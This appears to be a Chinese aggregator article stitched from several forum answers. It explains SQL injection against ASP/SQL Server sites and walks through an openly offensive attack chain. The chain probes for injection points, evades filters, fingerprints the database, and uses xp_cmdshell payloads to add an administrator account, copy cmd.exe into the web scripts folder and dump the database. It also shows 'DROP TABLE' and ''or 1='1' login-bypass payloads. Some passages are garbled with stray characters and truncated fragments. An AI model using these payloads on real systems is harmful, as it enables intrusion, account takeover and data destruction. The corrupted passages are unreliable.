sql注入漏洞存在的前提是(sql注入漏洞产生的原因是什么)
本篇文章给大家谈谈sql注入漏洞存在的前提是,以及sql注入漏洞产生的原因是什么对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。
本文目录一览:
SQL注入是怎么回事
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多祥悄旦意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。
SQL注入攻击的总体思路
·发现SQL注入位置;
·判断后台数据库类型;
·确定XP_CMDSHELL可执行情况
·发现WEB虚拟目录
·上传ASP木马;
·得到管理员权限;
SQL注入攻击的步骤
一、SQL注入漏洞的判断
一般来说,SQL注入一般存在于形如:等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。
为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚,以下以为例进行分析,YY可能是整型,也有可能是字符串。
1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
①’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
② and 1=1, abc.asp运行正常,而且与运行结果相同;谨扰
③运燃 and 1=2, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。
①’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②;;nb ... 39;1'='1', abc.asp运行正常,而且与运行结果相同;
③;;nb ... 39;1'='2', abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
3、特殊情况的处理
有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;
二、分析数据库服务器类型
一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
1、 利用数据库服务器的系统变量进行区分
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
① and user0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
②;;n ... db_name()0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
2、利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
① and (select count(*) from sysobjects)0
② and (select count(*) from msysobjects)0
若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
3、 MSSQL三个关键系统表
sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是 保存了所有的库名,以及库的ID和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。
dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。
Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。
syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:
name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。
三、确定XP_CMDSHELL可执行情况
若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省
1、;;nb ... er0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、 ... me()0 abc.asp执行异常但可以得到当前连接的数据库名。
3、;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户aaa加到administrators组中。
5、;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
;exe ... dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
[img]SQL注入漏洞的判断
分类: 电脑/网络 反病毒
解析:
如果以前没玩过注入,
请把IE菜单-工具-Inter选项-高级-显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚,以下以asp?id=xx(" target=_blankhackbase/news?id=xx(这个地址是假想的)
为例进行分析,xx可能是整型,也有可能是字符串。
1、整型参数的判断
当输入的参数xx为整型时,通常news中SQL语句原貌大致如下:
select * from 表名 where 字段=xx,所以可以用以下步骤测试SQL注入是否存在。
最简单的判断数冲方法
hackbase/news?id=xx’(附加一个单引号),
此时news中的SQL语句变成了
select * from 表名 where 字段=xx’,
如果程序没有过滤好“’”的话
就会提示 news运行异常;
但这样的方法虽然很简单,但并不是最好的
因为
first,不一定每台服务器的IIS都返回具体错误提示给客户端,
如果程握毕戚序中加了cint(参数)之类语句的话,SQL注入是不会成功的,
但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。
请和系统管理员联络。
second,目前大多数程序员已经将“’“ 过滤掉,所以用” ’”测试不到注入点
所以一般使用经典的1=1和1=2测试方法
见下文:
hackbase/news?id=xx and 1=1, news运行正常,
而且与hackbase/news?id=xx运行结果相同;
hackbase/news?id=xx and 1=2, news运行异常;(这就是经典的 1=1 ;1=2 判断方法)
如果以上面满足,news中就会存在SQL注入漏洞,反之则可能不能注入。
2、字符串型参数的判断
方法与数值型参数判断方法基本相同
当输入的参数xx为字符串时,通常news中SQL语句原貌大致如下:
select * from 表名 where 字段='xx',所以可以用以下步骤测试SQL注入是否存在。
hackbase/news?id=xx’(附加一个单引号),此时news中的SQL语句变成了
select * from 表名 where 字段=xx’,news运行异常;
hackbase/news?id=xx and '1'='1', news运行正常,
而且与hackbase/news?id=xx运行结果相同;
hackbase/news?id=xx and '1'='2', news运行异常;
如果以上满足,则news存在SQL注入漏洞,反之则不能注入
3、特殊情况的处理
有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等
;URLEncode信息参见附件一;
③ASCII码法段陵:可以把输入的部分或全部字符全部
4出了上述方法以外,还有个更简单的方法就是使用现成的工具
像NB联盟的NBSI就是一款很不错的工具,目前最新的版本为2.2
简单分析什么是SQL注入漏洞
转:
SQL注入,由于程序在实际使用中,为了管理庞大的数据信息,就会使用到数据库。数据库可以方便程序对所有数据信息进行统一的存储和分类组织,便于查询更新。用户在使用程序时,程序可以自动通过对数据库的查询,将所获得的信息按照一定格式反馈给用户,同时用户也是通过交互式的对话框提交给程序数据,从而使程序按照用户想要的信息进行查询,反馈给用户想要的信息。
对于程序这种数据库操作,先来看一段代码:
strKeyword = Request ["keyword"];
sqlQuery = "SELECT * FROM Aritcles WHERE Keywords LIKE '%" +strKeyword + "%'";
这段代码的主要目的是按照用户提镇雹交的关键字Keyword,对软件连接数据库中的文件进行搜索,找出所有包含用户关键字的文章来。假设此时,我们提交给软件“hack”这个数据,这时,“hack”这个关键字就会被传递给Keyword关键变量。接下来看看代码的执行情况,keyword获得数据“hack”后,被赋值给strKeyword变量,然后strKeyword变量被放入查询语句,此时的查询语句表现为:"SELECT * FROM Aritcles WHERE Keywords LIKE '%hack%'",这个查询语句的意思就是从数据库Aritcles表中查询出所有包含“hack”这个关键字的文章。注意“hack”这个单词是我们提交给程序的,因此可以对其随意修改的。于是,可以这样修改,把它变为“hack'; DROP TABLE Aritcles; --”。
现在看看程序会怎样处理这个外部关键字数据。首先,查询语句变成了:“SELECT * FROM Aritcles WHERE Keywords LIKE '%hack%'; DROP TABLE Aritcles; --”,我们知道DROP TABLE语句是在数据库操作中删除一个指定的表的意思,现在那个查询语句的意思就变了,以中间的分号为标志,分成两个部分,首先还是正常的查出所有包含hack关键字的文章。但是接下来……
由于程序使用的数据库是微软的SQL SERVER,该数据库支持多命令语句执行,这些数据库操作的命令语句都是由分号分隔开,然后依次执行的。这里的“DROP TABLE Aritcles; --”是一个完全合法的命旅旅凳令语句,“--”符号是SQL SERVER数据库特有注释标识,数据库不执行任何命令。这样,当这段查询语句执行时,就会去执行一个删除Aritcles表的数据库命令。
像这样,通过控制传递给程序数据库操作语句的关键变量来获得恶意控制程序数据库,从而获取有用信息或者制造恶意破坏的,甚至是控制用户计算机系统的漏洞,就称之为“SQL注入漏洞”。
SQL注入漏洞完全是利用了将包含了某种目的的SQL语句,通过关键变量插入到程序中正常的数据库操作语句里。程序一旦发生注入漏洞,就会拆旅引发一系列安全隐患。
SQL注入漏洞是不分语言的,无论用什么语言开发的程序,只要涉及对数据库的操作,都可能存在SQL注入漏洞。虽然有时会因为编写语言的要求,或者程序设置环境的不同,导致SQL注入漏洞很难被常用的方法利用,但是总可以找到突破的方法。
2
下面以网站程序为例,看一看SQL注入漏洞最经常被利用的地方,也是危害最大的地方。
都知道对于一个网站来说,可以说数据库存放着网站所有的信息,WEB应用程序完全是凭借数据库中的信息进行正常的运行的。一个网站程序中,最关键的一个部分就是对用户的合法性的判断,也就是看访问它的用户是不是一个注册的用户。这个时候,就会要求输入用户名和密码,然后根据输入的信息查询数据库,判断是否存在用户,并检查密码是不是一致,如果一致则承认合法用户,否则将给予非法提示。下面看一段常常出现在论坛程序中的用户认证程序代码:
(1)admin1 = trim(request("name"))
(2)password1 = trim(request("password"))
(3)Set rs = Server.CreateObject ("ADODB.Recordset")
(4)sql = "select * from userlogin where name='"admin1"' and password='"password1"'"
(5)rs.Open sql,conn,1,1
(6)if rs.eof and rs.bof then
(7)response.write"SCRIPT language=JavaScriptalert('用户名或密码不正确!')"
(8)response.write"javascript:history.go(-1)/SCRIPT"
(9)response.end
(10)else
(11)session("name")=rs("name")
(12)session("password")=rs("password")
(13)response.Redirect("default.asp")
(14)end if
这段程序的第1和第2行分别通过Request对象获得用户名和密码,第3行是建立一个数据库操作集对象,第4行就是将用户名以及密码同时作为查询条件放入到userlogin表中进行查询,第5到第14行就是根据查询结果进行判断,弹出警告窗口,或者重定向网页。
假设数据库中有个用户guest,密码123456,那么该用户登录时,认证代码中的第4行则变为:sql = "select * from userlogin where name='guest' and password='123456'",这是一个合法查询语句,所以用户能正常登录,反之则登录不了。
看起来这是一个比较严格的认证代码,但是事实呢?
现在,我们用户名提交“'or 1='1”,密码也是一样,同样也会成为合法用户,这是为什么?
当我们提交表单后,代码通过Request对象获得提交的用户名'or 1='1以及密码'or 1='1后,直接将这些数据放入了第4行的查询语句中,于是变成了这样:sql = "select * from userlogin where name=''or 1='1' and password=''or 1='1'"。我们先看1='1',这个绝对永远为真,如果你说假,那么你回小学学数学吧,学好再来看吧,呵呵~注意在大马前面还有一个or,这代表者1='1'是作为一个条件选择语句放入数据库查询的,这样无论查询语句中的用户名和密码是否正确,都会因为or后面的1='1'代码,导致查询语句返回值永远为真,这样就是绕过了看似严格的用户认证,获得了合法的权限。
求教谁给讲讲SQL注入攻击的步骤
第一步:SQL注入点探测。探测SQL注入点是关键的第一步,通过适当的分析应用程耐缓液序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户输入未进行有效验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法有很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断,还可以昌物使用特定函数来判断。
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的,通过构造特殊的SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
第四步:查找Web后台管理入口。Web后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马哪咐、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
关于sql注入漏洞存在的前提是和sql注入漏洞产生的原因是什么的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。